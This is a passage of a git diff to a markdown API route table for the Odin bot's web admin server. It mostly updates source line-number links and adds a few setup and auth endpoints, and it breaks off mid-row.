[src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L588) | Yes | — | -| GET | /api/tool-streams | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L594) | Yes | — | -| GET | /api/config | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L608) | Yes | — | -| GET | /api/config/meta | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L613) | Yes | Every configuration leaf, and how it reaches the running bot. | -| POST | /api/config/image-models | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L643) | Yes | Adopt shipped defaults or pin transaction-current effective strings. | -| PUT | /api/config | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L735) | Yes | — | +| POST | /api/auth/logout | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L722) | No | — | +| GET | /api/auth/session | [src.web.api.security](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/security.py#L744) | No | — | +| GET | /api/setup/status | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L179) | Yes | Check whether first-boot setup is needed. | +| POST | /api/setup/complete | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L196) | Yes | Receive wizard data and report restart-required settings, without restarting. | +| POST | /api/setup/listener | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L333) | Yes | Reauthenticate a raw admin bearer and consent to web.host on next restart. | +| GET | /api/status | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L405) | Yes | — | +| GET | /api/discord/guilds | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L472) | Yes | — | +| GET | /api/discord/members | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L519) | Yes | — | +| PUT | /api/discord/guild/{guild_id}/config | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L536) | Yes | — | +| PUT | /api/discord/channel/{channel_id}/config | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L551) | Yes | — | +| GET | /api/health/components | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L567) | Yes | — | +| GET | /api/resource-usage | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L573) | Yes | — | +| GET | /api/tool-streams | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L579) | Yes | — | +| GET | /api/config | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L593) | Yes | — | +| GET | /api/config/meta | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L598) | Yes | Every configuration leaf, and how it reaches the running bot. | +| POST | /api/config/image-models | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L628) | Yes | Adopt shipped defaults or pin transaction-current effective strings. | +| PUT | /api/config | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L720) | Yes | — | | GET | /api/discord/connection | [src.web.api.discord_connection](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/discord_connection.py#L91) | Yes + local | — | | POST | /api/discord/connection | [src.web.api.discord_connection](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/discord_connection.py#L98) | Yes + local | — | | GET | /api/discord/users/{user_id} | [src.web.api.discord_identity](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/discord_identity.py#L23) | Yes + local | — | -| POST | /api/restart | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L925) | Yes + local | Cleanly restart the running process, on operator request. | -| POST | /api/sessions/clear-all | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L955) | Yes + local | — | -| POST | /api/reload | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L963) | Yes | — | -| GET | /api/personality | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1018) | Yes | — | -| PUT | /api/personality | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1040) | Yes | — | -| POST | /api/personality/presets | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1095) | Yes | — | -| DELETE | /api/personality/presets/{name} | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1161) | Yes | — | +| POST | /api/restart | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L926) | Yes + local | Cleanly restart the running process, on operator request. | +| POST | /api/sessions/clear-all | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L956) | Yes + local | — | +| POST | /api/reload | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L964) | Yes | — | +| GET | /api/personality | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1019) | Yes | — | +| PUT | /api/personality | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1041) | Yes | — | +| POST | /api/personality/presets | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1096) | Yes | — | +| DELETE | /api/personality/presets/{name} | [src.web.api.config_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/config_admin.py#L1162) | Yes | — | | GET | /api/update/check | [src.web.api.self_update](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/self_update.py#L55) | Yes | — | | POST | /api/update/apply | [src.web.api.self_update](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/self_update.py#L83) | Yes | — | -| POST | /api/loops/stop-all | [src.web.api.self_update](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/self_update.py#L254) | Yes | — | -| POST | /api/chat | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L58) | No | — | -| POST | /api/execute | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L127) | No | Stateless prompt execution — no session history, no persistence. | -| GET | /api/computer | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| POST | /api/computer/stop | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| POST | /api/computer/pause | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| POST | /api/computer/observe | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| GET | /api/computer/evidence/{id} | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| POST | /api/computer/export | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| GET | /api/computer/download/{id} | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| POST | /api/computer/enabled | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| POST | /api/computer/recover | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| POST | /api/computer/release_owned_input | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| POST | /api/computer/acknowledge_legacy | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | -| POST | /api/computer/reconcile | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L515) | Yes | — | +| POST | /api/loops/stop-all | [src.web.api.self_update](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/self_update.py#L278) | Yes | — | +| POST | /api/chat | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L59) | No | — | +| POST | /api/execute | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L128) | No | Stateless prompt execution — no session history, no persistence. | +| GET | /api/computer | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| POST | /api/computer/stop | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| POST | /api/computer/pause | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| POST | /api/computer/observe | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| GET | /api/computer/evidence/{id} | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| POST | /api/computer/export | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| GET | /api/computer/download/{id} | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| POST | /api/computer/enabled | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| POST | /api/computer/recover | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| POST | /api/computer/release_owned_input | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| POST | /api/computer/acknowledge_legacy | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | +| POST | /api/computer/reconcile | [src.web.api.computer](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/computer.py#L538) | Yes | — | | GET | /api/sessions | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L205) | No | — | | GET | /api/sessions/token-usage | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L237) | Yes + local | — | | GET | /api/sessions/activity | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L245) | Yes + local | — | | GET | /api/sessions/search | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L253) | No | — | -| GET | /api/sessions/{channel_id} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L302) | No | — | -| GET | /api/sessions/{channel_id}/export | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L330) | No | — | -| DELETE | /api/sessions/{channel_id} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L384) | No | — | -| POST | /api/sessions/clear-bulk | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L395) | Yes + local | — | +| GET | /api/sessions/{channel_id} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L320) | No | — | +| GET | /api/sessions/{channel_id}/export | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L348) | No | — | +| DELETE | /api/sessions/{channel_id} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L402) | No | — | +| POST | /api/sessions/clear-bulk | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L413) | Yes + local | — | | GET | /api/tools | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L29) | Yes | — | | GET | /api/tools/stats | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L49) | Yes | — | | GET | /api/tools/timeouts | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L54) | Yes | — | | PUT | /api/tools/timeouts | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L62) | Yes | — | -| GET | /api/tools/builtins | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L178) | Yes | — | -| POST | /api/tools/builtins/{name}/enabled | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L182) | Yes | Single-purpose per-tool switch (Tools panel). Mutates ONLY the | -| GET | /api/tools/bulkheads | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L241) | Yes | — | -| GET | /api/pools/ssh | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L188) | Yes | — | -| GET | /api/pools/http | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L195) | Yes | — | -| POST | /api/pools/ssh/close | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L211) | Yes | — | -| GET | /api/usage | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L524) | Yes | — | -| GET | /api/observability/context | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L265) | Yes | — | -| GET | /api/observability/failures | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L277) | Yes | — | -| GET | /api/usage/totals | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L286) | Yes | — | -| GET | /api/trajectories | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L421) | Yes | — | -| GET | /api/trajectories/{filename} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L429) | Yes | — | -| GET | /api/trajectories/message/{message_id} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L449) | Yes | — | -| GET | /api/trajectories/search/query | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L460) | Yes | — | +| GET | /api/tools/builtins | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L180) | Yes | — | +| POST | /api/tools/builtins/{name}/enabled | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L184) | Yes | Single-purpose per-tool switch (Tools panel). Mutates ONLY the | +| GET | /api/tools/bulkheads | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L243) | Yes | — | +| GET | /api/pools/ssh | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L187) | Yes | — | +| GET | /api/pools/http | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L194) | Yes | — | +| POST | /api/pools/ssh/close | [src.web.api.llm_admin](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/llm_admin.py#L210) | Yes | — | +| GET | /api/usage | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L534) | Yes | — | +| GET | /api/observability/context | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L267) | Yes | — | +| GET | /api/observability/failures | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L279) | Yes | — | +| GET | /api/usage/totals | [src.web.api.observability](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/observability.py#L296) | Yes | — | +| GET | /api/trajectories | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L439) | Yes | — | +| GET | /api/trajectories/{filename} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L447) | Yes | — | +| GET | /api/trajectories/message/{message_id} | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L473) | Yes | — | +| GET | /api/trajectories/search/query | [src.web.api.sessions_chat](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/sessions_chat.py#L484) | Yes | — | | GET | /api/skills | [src.web.api.skills_api](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/skills_api.py#L29) | Yes | — | | POST | /api/skills | [src.web.api.skills_api](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/skills_api.py#L47) | Yes | — | | PUT | /api/skills/{name} | [src.web.api.skills_api](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/skills_api.py#L74) | Yes | — | @@ -98,23 +98,17 @@ This describes the normal authenticated deployment. With no configured tokens (i | POST | /api/skills/{name}/disable | [src.web.api.skills_api](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/skills_api.py#L156) | Yes | — | | GET | /api/skills/{name}/config | [src.web.api.skills_api](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/skills_api.py#L166) | Yes | — | | PUT | /api/skills/{name}/config | [src.web.api.skills_api](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/skills_api.py#L177) | Yes | — | -| GET | /api/mcp/servers | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L211) | Yes | — | -| GET | /api/mcp/servers/{name}/tools | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L215) | Yes | — | -| POST | /api/mcp/servers | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L223) | Yes | — | -| DELETE | /api/mcp/servers/{name} | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L269) | Yes | — | -| PUT | /api/mcp/servers/{name} | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L300) | Yes | — | -| POST | /api/mcp/servers/{name}/reconnect | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L342) | Yes | — | -| POST | /api/mcp/servers/{name}/refresh-tools | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L350) | Yes | — | -| GET | /api/mcp/status | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L358) | Yes | — | -| POST | /api/mcp/enabled | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L364) | Yes | — | -| POST | /api/mcp/limits | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L401) | Yes | Persist only submitted limits; publication reads them live, without reconnecting. | -| POST | /api/mcp/servers/{name}/enabled | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L454) | Yes | Single-purpose per-server switch (panel card toggle). | -| GET | /api/grafana-alerts/status | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L514) | Yes | — | -| GET | /api/grafana-alerts/history | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L522) | Yes | — | -| GET | /api/grafana-alerts/rules | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L532) | Yes | — | -| POST | /api/grafana-alerts/rules | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L540) | Yes | — | -| DELETE | /api/grafana-alerts/rules/{rule_id} | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L574) | Yes | — | -| GET | /api/grafana-alerts/remediations | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L585) | Yes | — | +| GET | /api/mcp/servers | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L210) | Yes | — | +| GET | /api/mcp/servers/{name}/tools | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L214) | Yes | — | +| POST | /api/mcp/servers | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L222) | Yes | — | +| DELETE | /api/mcp/servers/{name} | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L268) | Yes | — | +| PUT | /api/mcp/servers/{name} | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L299) | Yes | — | +| POST | /api/mcp/servers/{name}/reconnect | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L341) | Yes | — | +| POST | /api/mcp/servers/{name}/refresh-tools | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L349) | Yes | — | +| GET | /api/mcp/status | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L357) | Yes | — | +| POST | /api/mcp/enabled | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L363) | Yes | — | +| POST | /api/mcp/limits | [src.web.api.integrations](https://github.com/Calmingstorm/Odin/blob/e1318eca83a40b9418d873ad85c31686ea6b57d0/src/web/api/integrations.py#L400) | Yes | Persist only submitted limits; publication reads them live, without reconnecting. | +| POST | /api/mcp/servers/{name}/enabled | 